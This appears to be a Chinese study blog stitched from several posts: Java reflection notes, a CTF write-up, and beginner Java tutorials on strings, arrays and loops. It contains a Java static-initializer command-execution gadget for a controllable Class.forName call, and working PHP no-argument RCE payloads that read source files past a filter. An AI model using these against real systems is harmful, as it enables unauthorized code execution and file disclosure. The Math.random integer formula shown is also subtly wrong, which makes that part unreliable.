0%

反射的优点和缺点

  1. 优点:可以动态的创建和使用对象,使用灵活,没有反射机制,就无法正常使用框架技术
  2. 缺点:使用反射基本是解释执行,对执行速度有影响
    构建代码查看时间差距:

首先一个Cat类,中间的输出语句可要可不要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package reflection;
#Cat.java
public class Cat {
public Cat(){
}
public Cat(String name){
}
public void hi(){
// System.out.println("1");
}
public void cry(){
// System.out.println("2");
}
}

然后构建代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package reflection;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionDemo {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
m1();
m2();
}
public static void m1(){
Cat cat = new Cat();
long start = System.currentTimeMillis();
for (int i = 0; i < 100000; i++) {
cat.hi();
}
long end = System.currentTimeMillis();
System.out.println("传统方法耗时:"+(end - start));
}
public static void m2() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class cls = Class.forName("reflection.Cat");
Object o = cls.newInstance();
Method hi = cls.getMethod("hi");
long start = System.currentTimeMillis();
for (int i = 0; i < 100000; i++) {
hi.invoke(o);
}
long end = System.currentTimeMillis();
System.out.println("反射方法耗时:"+(end - start));
}
}

上面的前一段是传统方法调用,下面是反射来调用
图片

因为我这里循环次数不是很大,差距也只是个位数倍数,将i调整为10亿,再运行

图片

时间差距几乎是很大的

反射调整优化-关闭访问调查:

1. Method和Field.Constructor对象都有setAccessible()方法
2. setAccessible作用是启动和禁用访问安全检查的开关
3. 参数值为true表示反射的对象在使用时取消访问检查,提高反射的检查,参数值为false则表示反射的对象执行访问检查
1
2
3
4
5
6
7
8
9
10
11
12
13
public  static void m3() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class cls = Class.forName("reflection.Cat");
Object o = cls.newInstance();
Method hi = cls.getMethod("hi");
hi.setAccessible(true);
long start = System.currentTimeMillis();
for (int i = 0; i < 1000000000; i++) {
hi.invoke(o);
}
long end = System.currentTimeMillis();
System.out.println("反射方法m3耗时:"+(end - start));

}

图片

优化效果如图,但效果不是特别好,但聊胜于无

Class类:

  1. Class也是类,因此也继承Object类
  2. Class类对象不是new出来的,是系统创建(见笔记1的程序运行图解)
    比如说:
1
Cat cat = new Cat();

在这一步进行打断点debug,step进去首先进入ClassLoader.java里的loadClass方法,此时方法里的String name参数刚好指代上面的Cat方法。
如果使用反射方法进行创建对象

1
Class cls = Class.forName("Cat");

经过多次方法的调动,最后也会调用一个loadClass方法加载一个Cat类的Class类对象
3.对于某个类的Class类对象,在内存中只有一份,因为类只加载一次

4.每个类的实例都会记得自己是由哪个Class实例所生成

5.通过Class可以完整的得到一个类的完整结构,通过一系列API

6.Class对象是存放在堆里的

7.类的字节码二进制数据,是放在方法区的,有的地方称为类的元数据

获取Class对象:

  1. 代码阶段/编译阶段:
    Class.forName()

前提:已知一个类的全类名,且该类在类路径下,可通过Class类的静态方法forName()获取,可能抛出ClassNotFoundException,实例:

1
Class cls1 = Class.forName("java.lang.Cat");

多用于配置文件,读取类的全路径,加载类
2.Class类阶段(加载阶段):

类.class

前提:若已知具体的类,通过类的class获取,该方式最为安全可靠,程序性能最高

实例:

1
Class cls2 = Cat.class;

多用于参数传递,比如通过反射得到对应构造器对象
3.Runtime运行阶段:

对象.getClass()

前提:已知某个类的实例,调用该实例的getClass()方法获取Class对象

实例:

Class clazz = 对象.getClass();

通过创建好的对象,获取Class对象

4.通过类加载器来获取到类的Class对象

  • 先得到类加载器 car
    1
    ClassLoader classLoader = car.getClass().getClassLoader();
  • 通过类加载器得到Class对象
    1
    Class cls = classLoader.loadClass(classAllPath)
    以上获得的Class对象都是同一个(因为内存里对于一个类只允许有一个Class类对象)

5.基本数据类型按照如下方式得到Class类对象

Class cls = 基本数据类型.class

6.基本数据类型对应的包装类,可以通过.TYPE得到Class类对象

Class cls = 包装类.TYPE

到此为止,基本的反射语法都能看懂了,那我们学习某个知识肯定到最后也是为了Bypass也就是绕过。在安全中,使用反射的一大目的也是为bypass。

forName有两个函数重载:

1
2
Class forName(String name) 
Class forName(String name, **boolean** initialize, ClassLoader loader)

第一个就是我们常见获取class方式,其实也就是第一种的封装
可以理解为下面

1
2
3
Class.forName(className)
==
Class.forName(className,true,currentLoader)

一般情况下,forName第一个参数是类名,第二个代表是否初始化,第三个参数就是类加载器
类加载器就是告诉JVM如何去加载这个类,在这里JAVA默认根据类名来加载类,这个类名是类的完整路径,比如:java.lang.Runtime

第二个参数是initialize,决定是否初始化

在反射中如果使用功能.class来创建Class对象的引用时,不会自动初始化,如果使用forName()会自动初始化Class对象

(代码中test.class对象的本质就是test.class文件加载到内存中的内容)

这里初始化,可以理解为原来在C语言的中给一个变量赋初值,将这个思想转换到这里,也就是给一个类赋一个初始状态

1
2
3
4
5
6
7
8
9
10
11
public class TrainPrint { 
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class); }
public TrainPrint()
{
System.out.printf("Initial %s\n", this.getClass());
}
}

以上三个代码块,运行顺序分别是static,empty block以及最后的构造函数
static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯。

所以说forName中第二个参数就是告诉JVM是否执行类初始化

假设有一个函数,其中参数name可控且会执行初始化:

1
2
public void ref(String name) throws Exception {  Class.forName(name); 
}

那么我们可以构造一个类,来执行我们的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e)
{
// do nothing
}
}
}

其中我们将特意设置的恶意代码放在static中

Misc

签到

关注公众号按照图片所给音调在环境里点就行了

tiger

下载附件得到png-key.txt,内容有ag2a`f76

在tips.txt里可以得到以下信息

1
2
1.These are rot for 47 days
2.Have you heard that lsb steganography also requires a password?

第一个很明显是rot47,第二个应该是要用lsb做一个带密码的解密
所以

•ag2a`f76 是 rot47 加密,解密为:28a217fe

•PNG 图片是 LSB 加密

https://github.com/livz/cloacked-pixel

解密可以得到where这个压缩包的解压密码:71zr9H6jnXRHn64WBxMbCzz16saCZWiw

在里面看到key.zip和flag.zip中的information.txt的crc32都是一样,很明显是明文攻击,可以得到flag.zip的密码

Nh6i@= 

用010打开flag文件,可以看到png的文件头,改后缀名得到一个二维码。

用bcTester扫,然后在010里面转为hex,可以得到0宽隐写后的文本

解密

https://yuanfux.github.io/zero-width-web/

得到以下字符

1
Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!

很像移位后的密码,考虑是凯撒或者维吉尼亚,但我这里用凯撒批量处理后没结果,采取维吉尼亚爆破
https://www.guballa.de/vigenere-solver

1
You are a good CTFer because you can solve my challenge, next I will give you my secret, my secret is flag{xxxxxx}, have fun!

Crypto

Train

(不知道这道题是不是有问题,我过了验证随便输了俩一样的字符就给flag了)

验证就是爆破sha256前四位,网上找的然后改成交互的就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import hashlib
table = string.digits + string.ascii_letters
r = remote('url',port )
def proof():
    r.recvuntil(b'sha256(XXXX')
    line = r.recvline()[:-1].decode()
    print(line)
    tmp = line[line.find('+') + 1:line.find(')')]
    print(tmp)
    aim = line[line.find('== ') + 3:]
    print(aim)
    for i in table:
        for j in table:
            for k in table:
                for l in table:
                    ans = i + j + k + l
                    if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
                        print(ans)
                        r.recvuntil(b'Plz Tell Me XXXX :')
                        r.sendline(ans.encode())
                        return

proof()
r.interactive()

Web

Mercy-code

做的时候,一眼顶针就知道是无参数rce,但看了下禁的挺多的,就去搜了下博客,结果能搜到的全禁了!只能翻手册了,其实最重要的部分就是要构造.(点)这个环节,剩下的直接去读文件就行

最后找到这个

1
cmd=echo(show_source(end(scandir(next(str_split(zend_version()))))));

zend_version()返回3.2.1,str_split分割各个字符,next返回下一个字符,第一个字符是3,下一个就是.(点),剩下的就是读文件常见操作。
但是赛后发现是原题,这里附上网址

https://www.it610.com/article/1465459456212070400.htm

Payload:echo(implode(scandir(chr(strrev(uniqid())))));

Bp跑一下看看flag在哪,发现在当前目录下的一个php文件里

然后 show_source(end(scandir(chr(strrev(uniqid())))));

概述:

  • 反射是指对于任何一个Class类,在运行的时候能直接得到这个类的全部成分,这种运行时动态获取类信息以及动态调用类中成分的能力叫做Java反射
    正常方式:引入需要的”包类”名称-》通过New实例化-》取得实例化对象

反射方式:实例化对象-》getClass()方法-》得到完整的包类名称

相关API:

java.lang.Class:代表一个类,Class对象表示某个类加载后在堆里的对象

java.lang.reflect.Method:代表类的方法,Method对象表示某个类的方法

java.lang.reflect.Field:代表类的成员变量,Field对象表示某个类的成员变量

java.lang.reflect.Constructor:代表类的构造器,Constructor对象表示构造器

关键:

反射的第一步是先得到编译后的Class类对象,然后就可以得到Class的全部成分

HelloWorld.java ->javac ->HelloWorld.class

Class c = HelloWorld.class;

即在运行时获取类的字节码文件对象,然后可以解析类中的全部成分

功能:

  • 判断任意一个对象所属的类
  • 判断任意一个类的成员变量和成员方法
  • 调用任意一个对象的方法
  • 构造任意一个类的对象
  • 动态代理
    获取Class类对象的方法:
  1. Class类静态方法forName(String className)(将字节码文件加载进内存返回Class对象)
    Class c = Class.forName(全限名:包名+类名)#源代码阶段

  2. 类名.class,通过类名的属性class#Class对象阶段

Class c1 = Student.class;

3.对象.getClass()获取实例化对象对应类的Class对象#Runtime运行阶段

Student s = new Student();

Class c2 = s.getclass();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException{
// 类的.class属性
Class c1 = GetClassName.class;
System.out.println(c1.getName());

// 实例化对象的getClass()方法
GetClassName demo = new GetClassName();
Class c2 = demo.getClass();
System.out.println(c2.getName());

// Class.forName(String className): 动态加载类
Class c3 = Class.forName("com.GetClassName");
System.out.println(c3.getName());

}
}

结果:
com.GetClassName
com.GetClassName
com.GetClassName

以上三种获取Class类方法中,使用类.class属性会需要我们导入类的包,依懒性较强;如果是使用实例化对象的getClass()方法,需要我们本身创建一个对象,不太方便反而偏离了反射机制,所以一般使用Class.forName方法,此方法不用导入其他类,能加载任意类
获取成员方法Method

Method getMethod(String name, 类<?>… parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>… parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

以上是对反射的一些用途简述,但反射是比较抽象,也是看了很多教程才逐渐有个雏形,技术通常是因为需求才诞生的,所以提出一个需求来引出反射。

假如说有一个配置文件re.properties,内容为

1
2
3
classfullpath=com.reflection.Cat

method=hi

根据配置文件的信息来创建对象并调用其方法
创建对象的话,常见的方法应该是建一个类然后New一个对象或者Clone一个 ,按照思路走一下,新建一个包(自定义),并创建RefletionDemo.java文件和Cat.java

1
2
3
4
5
6
7
8
9
 #Cat.java

public class Cat {
private String name = "1";
public void hi(){
System.out.println("hi"+name);
}

}

传统创建对象的方式:

1
2
3
Cat cat = new Cat();
cat.hi();
#先new一个对象,再调用方法

这里传统方法不适用于我们的需求,可以考虑文件流读取?

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.load(new FileInputStream("src\\com.itheima\\variable\\re.properties"));
String classfullpath = properties.get("classfullpath").toString();
String methodName = properties.get("method").toString();
System.out.println("classfullpath="+classfullpath);
System.out.println("method="+methodName);
#使用Properties类可以读写配置文件

以上代码获取了配置文件里类的全路径和方法名并输出,输出的结果和配置文件完全一致
然后

1
new classfullpath()?

这是错误的,因为new后面接类名,但是classfullpath是字符串类型,是很明显不行的
直接new.类的全路径是的可以,但直接new.classfullpath()是不行的,因为这里是字符串,所以传统的方法是不行的(这里的需求可以提炼为通过外部文件配置,在不修改源码的情况下控制程序)所以这里引出了反射

1
2
3
4
5
6
7
8
9
10
11
12
#加载类,返回一个Class类型的对象cls,Class是一个Class类型的类
Class cls = Class.forName(classfullpath);
#通过cls得到加载的类的对象实例
Object o = cls.newInstance();
#输出o的运行类型,很明显是Cat
System.out.println(o.getClass());
#通过cls得到加载的类Cat的method“hi”方法对象
#即在反射中,可以把方法视为对象(万物皆对象)
Method method1 = cls.getMethod(methodName);
#通过method1调用方法,即通过方法对象来调用方法
method1.invoke(o);
#传统方式是对象.方法(),反射机制是方法.invoke(对象)

这里如果在Cat.java里增加新方法

1
2
3
4
5
6
7
8
9
10
11
12
 #Cat.java

public class Cat {
private String name = "1";
public void hi(){
System.out.println("hi"+name);
}

public void cry(){
System.out.println("miaomiaomiao");
}
}

如果按照传统方法,只能修改源码将cat.hi()改为cat.cry()
如果按照反射,直接在配置文件里把method的值改为cry就行了

反射机制

  1. 反射允许程序在执行期借助于Refletion这个API取得任何类的内部信息,并能操作对象的属性以及方法
  2. 加载完类之后,在堆中产生了一个Class类型的对象(一个类只有一个Class对象),这个对象包含了类的完整结构信息,通过这个对象得到类的结构
    这里对于Class类再举个小例子,Class也是类,没有区别
1
2
p对象 -》类型 person类
cls对象 -》 类型Class类(可以理解为RefletionClass类)

反射的底层原理:
Java程序在计算机有三个阶段,编译阶段.类加载阶段.Runtime阶段

1
2
3
4
5
 public class Cat {
private String name
public void hi(){
}
}

编译阶段中,源码里会有成员变量.成员方法.构造器等元素,经过javac编译后生成Cat.class字节码文件,源码里拥有的元素,字节码文件中也会有
在Runtime运行阶段中如果进行创建对象即

1
2
Cat cat = new Cat();
cat.hi();

会导致类加载,致使Cat.class字节码文件加载到内存里堆去,进入Class类加载阶段,生成一个Class类对象,其含有字节码里所有元素,在从字节码文件得到Class类对象的过程中有一个类加载器ClassLoader作用,在这里就体现了反射机制,在Class类对象中,会把元素比如成员变量当做对象映射为Field[] Field,构造器和成员方法等同理
类加载后就生成了Cat对象,该对象知道他是属于哪个Class对象,其间有一个映射关系,所以我们可以通过这个对象获得所关联的Class对象。当得到Class对象后就能够创建对象,调用对象方法,操作属性等

图片

获取成员变量Field

获取成员变量Field位于java.lang.reflect.Field包中

Field[] getFields() :获取所有public修饰的成员变量

Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

Field getField(String name) 获取指定名称的 public修饰的成员变量

Field getDeclaredField(String name) 获取指定的成员变量

得到name字段:

1
2
3
4
5
#java.lang.reflect.Field:代表类的成员变量,Field对象表示某个类的成员变量
#getField不能得到私有属性

Field nameField = cls.getField("age");
System.out.println(nameField.get(o));#传统写法 对象.成员变量 ,反射 成员变量对象.get(对象)

获取构造器对象
Class类中用于获取构造器的方法

Constructor[] getConstructors() :返回所有构造器对象的数组#仅public

Constructor[] getDeclareConstructors():返回所有构造器对象的数组(存在即可)

Constructor[] getConstructor(parameterTypes):返回单个构造器对象#仅public

Constructor[] getDeclareConstructor(parameterTypes):返回单个构造器对象,存在即可

1
2
3
4
5
6
7
#java.lang.reflect.Constructor:代表类的成员变量,Constructor对象表示构造器

Constructor constructor = cls.getConstructor();//括号中指定构造器参数类型,无就是无参构造器
System.out.println(constructor);

Constructor constructor2 = cls.getConstructor(String.class);//括号中指定构造器参数类型,无就是无参构造器
System.out.println(constructor2);

子串,顾名思义就是原本字符串其中一部分字符组成的新字符串,那我们可以尝试用substring返回一个新的字符串,其中包含已有字符串从指定索引到末尾的字符

1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) {
String text = "woshishuaige";
System.out.println(text.substring(0));
System.out.println(text.substring(2));
System.out.println(text.substring(5));
}
}

运行截图
图片

这里把字符串里的每个字符进行排序编号,就会很容易理解

1
2
3
4
5
6
7
8
9
public class Test {
public static void main(String[] args) {
String text = "woshishuaige";
System.out.println(text.substring(0,2));
System.out.println(text.substring(2,5));
System.out.println(text.substring(5,10));
System.out.println(text.substring(10,12));
}
}

图片

前面数字表示起始字符,后面表示结束字符

方法indexof用于在字符串中查找字符

1
2
3
4
5
6
7
8
9
public class Test {

public static void main(String[] args) {
String name = "zhang";
int index = name.indexOf('a');
System.out.println(index);
}

}

这个例子确定了字符’a’在字符串的索引,会返回字符第一次出现的索引,如果需要返回后面多次出现位置的索引,就要其他参数

1
2
3
4
5
6
7
8
9
public class Test {

public static void main(String[] args) {
String name = "zhangzhangzhang";
int index = name.indexOf('a',3);
System.out.println(index);
}

}

int index = name.indexOf(‘a’,3);从索引3(每个字符编号从0开始)开始查找下一个字符‘a’;
如果字符串中没有指定的字符,indexOf将返回-1;另外indexOf也可以用于查找子串

1
2
3
4
5
6
7
8
9
public class Test {

public static void main(String[] args) {
String name = "yangwenhao";
int index = name.indexOf("wen");
System.out.println(index);
}

}

我们要查找wen这一子串,最后会返回’w’索引4
字符串比较

由于一开始我们接触的语言是C语言,所以我们会本能反应用==或者!=来比较字符串,但是这是错误的

1
2
3
4
5
6
7
8
9
10
11
public class Test {

public static void main(String[] args) {
String name1 = "zbc";
String name2 = "zbc";
if(name1 == name2) {
System.out.println("相等");
}
}

}

以上是我们按照C语言思路来进行编写的,但是是错误的
对于Java应该采取equals来进行比较

1
2
3
4
5
6
7
8
9
10
11
public class Test {

public static void main(String[] args) {
String name1 = "zbc";
String name2 = "zbc";
if(name1.equals(name2)) {
System.out.println("相等");
}
}

}

如果字符串是不同的,可以用compare来确定根据字母表顺序排列哪个字符串在前面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Test {

public static void main(String[] args) {
String name1 = "zbc1";
String name2 = "zbc2";
int diff = name1.compareTo(name2);
System.out.println(diff);
if(diff==0) {
System.out.println("Same!!!");
}else if(diff<0) {
System.out.println("name1 comes before name2");
}else if(diff>0) {
System.out.println("name2 comes before name1");
}
}

}

方法compareTo会返回两个字符串中第一个不同的字符的差。如果两个字符串相等,则差为0;
Add:前面的代码diff值为-1,因为它们第四位分别是1与2,对应的编码值相差1

字符串格式

1、字符串格式设置

涉及到方法String.format,它与String.printf相同:一个格式说明符和一系列的值,主要差别在于后者将结果显示到屏幕上,前者则创建一个新的字符串但什么都不显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test {

public static void main(String[] args) {
System.out.println(timeString(13, 50));
}
public static String timeString(int hour,int minute) {
String ampm;
if(hour<12) {
ampm = "AM";
if(hour==0) {
hour = 12; //午夜
}
}else {
ampm = "PM";
hour -= 12;
}
return String.format("%02d:%02d %s", hour, minute, ampm);
}
}

print、printf以及println区别
首先print与printf没什么太大的区别,也就是一个会换行,一个不会换行,而printf主要是继承了C语言的一些特性,它常用于格式转换

Math.random:

首先Math.random()是随机生成一个大于等于 0.0 且小于 1.0 (前开后闭)的伪随机 double 值,为方便叙述将其表示为:Math.random:[0.0,1.0)

下面以整数(int)为例子:

通常,如果我们需要获取从[x,y)范围内的伪随机数,有下面这样的公式:

1
Math.random()*(y-x)+x

如果我们需要闭区间的呢,也就是需要获取从[x,y]范围内的伪随机整数,其实也很简单,只需要

1
(int)Math.random()*(y-x+1)+x

为了方便理解,我们取x=10,y=35;为例子
首先

Math.random:[0.0,1.0)

Math.random()(35-10):[0.0,25.0)

Math.random()(35-10+1):[0.0,26.0)

所以

Math.random()(35-10+1)+10:[10.0,36.0)

由于强转为int会丢失精度,也就是舍去小数部分,因此得到

(int)Math.random()(35-10+1)+10:[10,35](值为整数)

 若需要[x,y)范围的伪随机数

1
Math.random()*(y-x)+x

若需要[x,y]范围的伪随机整数

1
(int)Math.random()*(y-x+1)+x

数组反转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Test{

public static void main(String[] args) {
int[] arr = new int[] {1,2,3,4,5};
//数组的反转
for(int i =0;i < arr.length / 2;i++) {
int temp = arr[i];
arr[i] = arr[arr.length - i - 1];
arr[arr.length - i - 1] = temp;
}
//数组的遍历
for(int x:arr) {
System.out.print(x+" ");
}
}
}

第二种,不过要建立两个数组,方便理解一点

1
2
3
4
5
for(int i =0,j=arr.length-1;i<j;i++,j--){
int temp = arr[i];
arr[i] = arr[arr.length - i - 1];
arr[arr.length - i - 1] = temp;
}

数组查找(顺序查找)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Test {

public static void main(String[] args) {
String[] arr = new String[] {"aa","bb","cc","dd"};
String dest = "bb";
boolean isFlag = true;
for(int i=0;i<arr.length;i++) {
if(dest.equals(arr[i])) {
System.out.println("找到了,位置在:"+i);
isFlag = false;
break;
}
}
if(isFlag) {
System.out.println("抱歉,没有找到");
}
}
}

数组异常

数组的越界

1
2
3
4
int[] arr = new int[4];
for(int i=0;i<arr.length;i++){
statement.......
}

这个例子是正确的,但如果把里面的条件改为i<=arr.length,便会导致越界;
当然越界也可能是左边界越界

1、Java中的枚举

语法格式:enum 枚举名{枚举值表};

用枚举名+.进行访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enum MyColor{红色,绿色,蓝色};

public class Enum1 {

public static void main(String[] args) {
MyColor c1 = MyColor.红色;
MyColor c2 = MyColor.绿色;
MyColor c3 = MyColor.蓝色;
System.out.println(c1);
System.out.println(c2);
System.out.println(c3);
}

}

1.2 在switch语句中用枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
enum MyColor{红色,绿色,蓝色};

public class Enum1 {

public static void main(String[] args) {
MyColor c1 = MyColor.红色;
MyColor c2 = MyColor.绿色;
MyColor c3 = MyColor.蓝色;
switch (c1) {
case 红色:
System.out.println("我是红色");
break;
case 绿色:
System.out.println("我是绿色");
break;
case 蓝色:
System.out.println("我是蓝色");
break;
}
}

}

2、枚举类和枚举关键字
2.1

Values方法:返回枚举值组成的数组

1
2
3
4
5
6
7
8
9
10
11
12
enum MyColor{红色,绿色,蓝色};

public class Enum1 {

public static void main(String[] args) {
MyColor[] allColor = MyColor.values();
for(MyColor aColor:allColor) {
System.out.println(aColor);
}
}

}

2.2、枚举类:Enum

1
2
3
4
5
6
7
8
9
10
11
12
enum MyColor{红色,绿色,蓝色};

public class Enum1 {

public static void main(String[] args) {
MyColor[] allColor = MyColor.values();
for(MyColor aColor:allColor) {
System.out.println(aColor.name()+"-->"+aColor.ordinal());
}
}

}

另外枚举关键字编号默认从0开始
Scanner类

它提供了输入数据的方法、包含在被称为“实用类”的java.util包中;

在使用前需要创建一个Scanner对象;

声明一个名为in的Scanner变量,并新建一个Scanner对象以便从System.in中获取输入;

Scanner in = new Scanner(System.in);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.util.Scanner;

public class Test {

public static void main(String[] args) {
String line;
Scanner in = new Scanner(System.in);

System.out.print("Type something:");
line = in.nextLine();
System.out.println("You said:"+line);

}
}

另外next和nextline是有区别的,前者读到空白符就结束读取,后者读到回车就结束读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.util.Scanner;

public class Test {

public static void main(String[] args) {
String line;
Scanner in = new Scanner(System.in);

System.out.print("Type something(nextline):");
line = in.nextLine();
System.out.println("You said:"+line);

System.out.print("Type something(next):");
line = in.next();
System.out.println("You said:"+line);
}
}

具体的可以去api查询
1、字符串的遍历

在Java中,字符串提供了提取字符的方法charAt,这个方法会返回一个char,因此我们可以利用这一点来实现字符串的遍历;

1
2
3
4
5
6
7
8
9
public class Test {
public static void main(String[] args) {
String str ="abcdefg";
for(int i=0;i<str.length();i++) {
char letter = str.charAt(i);
System.out.println(letter);
}
}
}

2、字符串的反转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Test {
public static void main(String[] args) {
String str ="abcdefg";
String str2 = reverse(str);
printArr(str);
printArr(str2);
}
private static void printArr(String str) {
for(int i=0;i<str.length();i++) {
char letter = str.charAt(i);
System.out.print(letter);
}
System.out.println("");
}
public static String reverse(String s) {
String a ="";
for (int i = s.length() - 1;i>=0;i--) {
a= a + s.charAt(i);
}
return a;
}
}

那么有一个问题,定义好的字符串是否能够修改

答案是否定的

我们知道字符串提供了toUpperCase和tolowerCase来转换大小写的方法,但并不意味着字符串可以修改;

但是可以使用其他方法来间接改变,比如replace进行替换

1
2
3
4
5
6
7
public class Test {
public static void main(String[] args) {
String text = "aaa";
text = text.replace("aaa", "bbb");
System.out.println(text);
}
}

控制结构

  1. 选择结构
    1.1条件分支(if与if-else语句)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Test {

public static void main(String[] args) {
int num = 1;
if(num==1) {
System.out.println("Right1");
}
System.out.println("go on!");
if(num==2) {
System.out.println("Right2");
}
}
}
#Right1

1.2 if-else语句
基本部分: if(true)

{

执行这里

} else

{

执行这里(条件为假)

}

1
2
3
4
5
6
7
8
public static void main(String[] args) {
int num = 1;
if(num==1) {
System.out.println("1");
}else {
System.out.println("2");
}
}

1.3多条件的if-else
if(判断条件1)

{

——-语句块1;

}else if(判断条件2)

{

——–语句块2

}else

{

——–语句块3

}

1.4多重选择—switch语句

switch(表达式)

{

case 值1:语句块1;break;

case 值2:语句块2;break;

default:语句块n;break;

}

二、循环结构

2.1 while循环(当型循环)

while(判断条件)

{

——代码块

}

1
2
3
4
5
6
7
8
9
10
11
12
13
    2.2 do-while循环
2.3 for循环
2.4 foreach循环:用来循环遍历一个数组或集合框架
for(类型 迭代类型:数组或集合){
代码块
}
实现数组的遍历:
public static void main(String[] args) {
int arr[] = {1,2,3,4,5};
for(int item:arr) {
System.out.println(item);
}
}

2.5 嵌套循环
三、循环的跳转

break;continue;return;

3.1 break :跳出所在的循环(switch、for、while)

1
2
3
4
5
6
7
8
public static void main(String[] args) {
int i;
for(i=1;i<10;i++)
{
if(i%3==0) break;
System.out.println(i);
}
}

3.2 contiue:结束本次循环进入下一次循环

1
2
3
4
5
6
7
8
public static void main(String[] args) {
int i;
for(i=1;i<11;i++)
{
if(i%3==0) continue;
System.out.println(i);
}
}

3.3 return:离开语句所在的方法

1
2
3
4
5
6
7
8
public static void main(String[] args) {
int i;
for(i=1;i<11;i++)
{
if(i%3==0) return;
System.out.println(i);
}
}

小知识:
三目运算符也就是if-else的简写形式,Switch中不是每个条件都需要break

数组(与C大致一同,但有不同)

一、一维数组

定义:类型[ ] 数组名 = new 类型[长度];

数组中存有默认值0,而在引用类型[ ]中为null;

如果在定义前,已经知道数组里存放的内容,那可以简单定义为:

类型[ ] 数组名 = {值1,值2,…,值n};

类型[ ] 数组名 = new 类型[ ]{值1,值2,…,值n};

动态初始化如:int[ ] array = new int[4];

静态初始化如:int[] array = new int[]{1,2,3,4};

但是像int[] array = new int[3]{1,2,3};就是错误的写法

这样也是错的,int[ ] array;array[ ] = {1,2,3};也是错的!!!

而这样是可以的:把String names[ ] = new String[ ]{“加油”,“冲呀”};

拆为:String names[ ] ;和 names[ ] = new String[ ]{“加油”,“冲呀”};

创建一个随机数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.util.Random;    //导入包

public class Test {
public static void main(String[] args) {
Random rand = new Random();
int[] a = null;
a = new int[rand.nextInt(10)]; //开辟内存空间,长度是[0,10)的随机数
System.out.println("数组的长度:"+a.length);
for(int i=0;i<a.length;i++) {
a[i] = rand.nextInt(100);
System.out.println("a["+i+"]="+a[i]);
}
}
}

引用传值举例(两个数组对应同一个内存)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class Test{
public static void main(String[] args) {
int[] nums1 = {1,2};
int[] nums2 = nums1;  //这里其实把nums1中记录的数组的地址传给了nums2
//现在遍历两个数组
System.out.println("第一个数组");
for(int x:nums1) {
System.out.println(x);
}
System.out.println("第二个数组");
for(int y:nums2) {
System.out.println(y);
}
//现在 修改下第二个数组中元素值
nums2[1] = 100;
System.out.println("第一个数组");
for(int x:nums1) {
System.out.println(x);
}
System.out.println("第二个数组");
for(int y:nums2) {
System.out.println(y);
}
}
}
输出结果为:
第一个数组
1
2
第二个数组
1
2
第一个数组
1
100
第二个数组
1
100

简单的比较最大值和最小值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Test {
public static void main(String[] args) {
int nums[] = {100,5};
int max = nums[0];
int min = nums[0];
for(int i=1;i<nums.length;i++) {
if(nums[i]>max) {
max = nums[i];
}
}
for(int i=1;i<nums.length;i++) {
if(nums[i]<min) {
min = nums[i];
}
}
System.out.printf("该数组中最大值为:%d,最小值为:%d",max,min);
}
}

二、二维数组
定义:数据类型[ ][ ] 数组名 = new int[行数][列数];

如:int[ ][ ] array = new int [3][2];或者int[ ][ ] array; array = new int[3][2];

我这里将这个理解为线代里的行列式或者矩阵

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args) {
int[][] nums;
nums = new int[3][2];
for(int i=0;i<nums.length;i++) {
for(int j=0;j<nums[i].length;j++) {
System.out.println("nums["+i+"]["+j+"]="+nums[i][j]);
}
}
}
}

再举例列数不定

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
public static void main(String[] args) {
int[][] nums = new int[3][];
nums[0] = new int[2];
nums[1] = new int[2];
nums[2] = new int[] {1,2};
for(int i=0;i<nums.length;i++) {
for(int j=0;j<nums[i].length;j++) {
